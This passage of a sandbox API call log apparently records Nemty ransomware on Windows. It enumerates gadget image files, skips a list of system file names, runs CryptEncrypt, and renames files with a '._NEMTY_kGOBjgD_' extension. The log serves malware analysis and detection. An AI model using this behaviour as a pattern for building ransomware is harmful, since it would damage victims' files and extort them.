lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.008] CloseHandle (hObject=0xffffffff) returned 0 [0140.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0140.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340440 [0140.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0140.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0140.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png._nemty_kgobjgd_")) returned 0 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.009] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="..") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="...") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="windows") returned -1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="$RECYCLE.BIN") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="rsa") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="NTDETECT.COM") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="ntldr") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="MSDOS.SYS") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="IO.SYS") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="boot.ini") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="boot.ini") returned 1 [0140.009] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="ntuser.dat") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="desktop.ini") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="CONFIG.SYS") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="RECYCLER") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="BOOTSECT.BAK") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="bootmgr") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="programdata") returned 1 [0140.010] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="appdata") returned 1 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0140.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0140.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0140.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0140.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0140.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0140.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0140.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0140.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340120 [0140.011] Sleep (dwMilliseconds=0x5) [0140.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x71b7ab0, dwHighDateTime=0x1d561e8)) [0140.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x71b7ab0, dwHighDateTime=0x1d561e8)) [0140.023] GetLastError () returned 0x5 [0140.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.023] GetLastError () returned 0x5 [0140.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401f8 [0140.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401f8, pcchString=0x653e91c | out: pszString="37RDBfI9JPCxpVZNbZFnE4VBaX6ef/5D5HJfyuicP626Mqtj6C9cOM4ThS9FKrMg\r\nHbVhtIL9Mg/GbypRgrcx7Ojq7lf67A5yo75GPqQLonSZipj28K7HYsZOjrZQGqsz\r\nUHwReN2wDszcyWtkk50Lj4K0BestTzgy0Rm+7ebC/ro3EB6clrqJlN0nLPjC+Plp\r\nVQkbnnlbaPfzMgJd1q39YJablLKHI/HMut83pcjEu2xa6+NlZvFkc2nGZuft1XAJ\r\nNbj+U/yvEoDEEoNZ9RBtGwZ1d2CFH5VAdGq+IftwrGYoP5jO1n9+KnKgXijBWiNz\r\nSEWN56GwaTBIAw8070yExA==\r\n", pcchString=0x653e91c) returned 1 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0140.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401f8 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.024] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.024] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 